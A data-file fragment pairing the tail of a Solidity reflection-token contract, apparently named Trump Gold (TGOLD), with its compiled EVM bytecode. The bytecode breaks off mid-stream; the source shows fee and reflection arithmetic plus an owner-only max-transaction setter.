_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ba565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610993565b005b34801561034957600080fd5b50610352610ab6565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610abf565b005b3480156103b457600080fd5b506103bd610ba4565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c16565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d01565b005b34801561044757600080fd5b50610450610e87565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eed565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f44565b005b3480156106de57600080fd5b506106e7611094565b005b3480156106f557600080fd5b506106fe61110e565b005b34801561070c57600080fd5b5061071561178a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c3565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611970565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f5472756d7020476f6c6400000000000000000000000000000000000000000000815250905090565b60006108a161089a6119f7565b84846119ff565b6001905092915050565b600066038d7ea4c68000905090565b60006108c7848484611bf6565b610988846108d36119f7565b61098385604051806060016040528060288152602001613edb60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109396119f7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124559092919063ffffffff16565b6119ff565b600190509392505050565b61099b6119f7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac76119f7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b87576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be56119f7565b73ffffffffffffffffffffffffffffffffffffffff1614610c0557600080fd5b6000479050610c1381612515565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb157600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfc565b610cf9600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612610565b90505b919050565b610d096119f7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f54474f4c44000000000000000000000000000000000000000000000000000000815250905090565b6000610f01610efa6119f7565b8484611bf6565b6001905092915050565b6040518060400160405280600581526020017f54474f4c4400000000000000000000000000000000000000000000000000000081525081565b610f4c6119f7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110905760016007600084848151811061102a57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808060010191505061100f565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d56119f7565b73ffffffffffffffffffffffffffffffffffffffff16146110f557600080fd5b600061110030610c16565b905061110b81612694565b50565b6111166119f7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff1615611259576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112e730601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1666038d7ea4c680006119ff565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561132d57600080fd5b505afa158015611341573d6000803e3d6000fd5b505050506040513d602081101561135757600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ca57600080fd5b505afa1580156113de573d6000803e3d6000fd5b505050506040513d60208110156113f457600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561146e57600080fd5b505af1158015611482573d6000803e3d6000fd5b505050506040513d602081101561149857600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153230610c16565b60008061153d610e87565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c257600080fd5b505af11580156115d6573d6000803e3d6000fd5b50505050506040513d60608110156115ed57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174b57600080fd5b505af115801561175f573d6000803e3d6000fd5b505050506040513d602081101561177557600080fd5b81019080805190602001909291905050505050565b6040518060400160405280600a81526020017f5472756d7020476f6c640000000000000000000000000000000000000000000081525081565b6117cb6119f7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611901576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61192e60646119208366038d7ea4c6800061297e90919063ffffffff16565b612a0490919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f516024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613e986022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f2c6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e4b6023913960400191505060405180910390fd5b60008111611d5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f036029913960400191505060405180910390fd5b611d63610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd15750611da1610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239257601360179054906101000a900460ff1615612037573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ead5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f075750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203657601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f4d6119f7565b73ffffffffffffffffffffffffffffffffffffffff161480611fc35750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fab6119f7565b73ffffffffffffffffffffffffffffffffffffffff16145b612035576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146121275760145481111561207957600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561211d5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212657600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d25750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122285750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122405750601360179054906101000a900460ff165b156122d85742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229057600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e330610c16565b9050601360159054906101000a900460ff161580156123505750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156123685750601360169054906101000a900460ff165b156123905761237681612694565b6000479050600081111561238e5761238d47612515565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244357600090505b61244f84848484612a4e565b50505050565b6000838311158290612502576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124c75780820151818401526020810190506124ac565b50505050905090810190601f1680156124f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612565600284612a0490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612590573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e1600284612a0490919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561260c573d6000803e3d6000fd5b5050565b6000600a5482111561266d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e6e602a913960400191505060405180910390fd5b6000612677612ca5565b905061268c8184612a0490919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126c957600080fd5b506040519080825280602002602001820160405280156126f85781602001602082028036833780820191505090505b509050308160008151811061270957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127ab57600080fd5b505afa1580156127bf573d6000803e3d6000fd5b505050506040513d60208110156127d557600080fd5b8101908080519060200190929190505050816001815181106127f357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061285a30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846119ff565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561291e578082015181840152602081019050612903565b505050509050019650505050505050600060405180830381600087803b15801561294757600080fd5b505af115801561295b573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561299157600090506129fe565b60008284029050828482816129a257fe5b04146129f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613eba6021913960400191505060405180910390fd5b809150505b92915050565b6000612a4683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd0565b905092915050565b80612a5c57612a5b612d96565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612aff5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1457612b0f848484612dd9565b612c91565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bb75750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bcc57612bc7848484613039565b612c90565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c6e5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8357612c7e848484613299565b612c8f565b612c8e84848461358e565b5b5b5b80612c9f57612c9e613759565b5b50505050565b6000806000612cb261376d565b91509150612cc98183612a0490919063ffffffff16565b9250505090565b60008083118290612d7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d41578082015181840152602081019050612d26565b50505050905090810190601f168015612d6e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8857fe5b049050809150509392505050565b6000600c54148015612daa57506000600d54145b15612db457612dd7565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612deb87613a12565b955095509550955095509550612e4987600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a7a90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ede86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a7a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ac490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fbf81613b4c565b612fc98483613cf1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061304b87613a12565b9550955095509550955095506130a986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a7a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061313e83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ac490919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ac490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061321f81613b4c565b6132298483613cf1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132ab87613a12565b95509550955095509550955061330987600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a7a90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061339e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a7a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343383600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ac490919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134c885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ac490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351481613b4c565b61351e8483613cf1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a087613a12565b9550955095509550955095506135fe86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a7a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ac490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136df81613b4c565b6136e98483613cf1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a549050600066038d7ea4c68000905060005b6009805490508110156139cb578260026000600984815481106137a557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061388c575081600360006009848154811061382457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138a857600a5466038d7ea4c6800094509450505050613a0e565b61393160026000600984815481106138bc57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a7a90919063ffffffff16565b92506139bc600360006009848154811061394757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a7a90919063ffffffff16565b91508080600101915050613786565b506139e866038d7ea4c68000600a54612a0490919063ffffffff16565b821015613a0557600a5466038d7ea4c68000935093505050613a0e565b81819350935050505b9091565b6000806000806000806000806000613a2f8a600c54600d54613d2b565b9250925092506000613a3f612ca5565b90506000806000613a528e878787613dc1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613abc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612455565b905092915050565b600080828401905083811015613b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b56612ca5565b90506000613b6d828461297e90919063ffffffff16565b9050613bc